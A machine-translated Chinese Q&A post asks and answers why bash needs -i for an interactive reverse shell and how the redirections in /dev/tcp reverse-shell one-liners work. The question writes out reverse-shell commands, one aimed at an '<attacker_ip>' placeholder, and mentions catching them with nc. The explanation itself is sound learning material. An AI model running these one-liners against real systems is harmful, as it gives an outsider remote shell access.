我有两个关于 bash 的问题。我正在研究反向炮弹和-i
旗帜。当我这样做时bash -i > /dev/tcp/ip/port 2>&1 0>&1
,我会在服务器计算机上获得一个交互式 shell,并通过nc -l
端口捕获它。但是当我不输入该-i
标志时,我会得到一个非登录非交互式 shell。到目前为止,这将是预期的行为。但是,当本地执行bash
和时bash -i
,我两次都会获得交互式新 shell,就好像交互式是默认模式一样。为什么当我重定向 bash without 时,-i
它不是交互式的,而本地 bash 却是交互式的?
关于重定向的第二个问题,我看到了这个衬里,但我不太明白这里涉及的重定向:
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
据我所知,是将 bash 的 stdout 重定向到 /dev/tcp...,然后接受 stdout 的位置作为 stdin ( 0<&1
) 并将 stderr 重定向到 stdout (2>&1)。这将如何实现反向shell?难道它不应该将 /dev/tcp.. 的内容重定向到 stdin 并将 stdout 和错误重定向到那里吗?
谢谢!
答案1
当 bash 的 stdin 和 stderr 连接到终端设备(由isatty()
函数或某些等效函数检测到)时,交互式 shell 是默认行为。如果您在本地输入内容,而不是通过管道(例如cat | bash
),则它是 TTY 并且默认为交互式。当您从套接字重定向时,它不是 TTY,并且需要该标志才能进入交互模式。
当您重定向到 或从 重定向时/dev/tcp/<ip>/<port>
,您实际上并没有使用 下的文件/dev
。 (如果你尝试ls /dev/tcp
,你会得到No such file or directory.
)这实际上是 接受的特殊语法bash
,这导致它打开给定的套接字ip
,而port
不是执行本地文件打开。并且套接字不像文件那样具有“读”或“写”模式,因此当 fd 1 是套接字时,语法0<&1
和是等效的。0>&1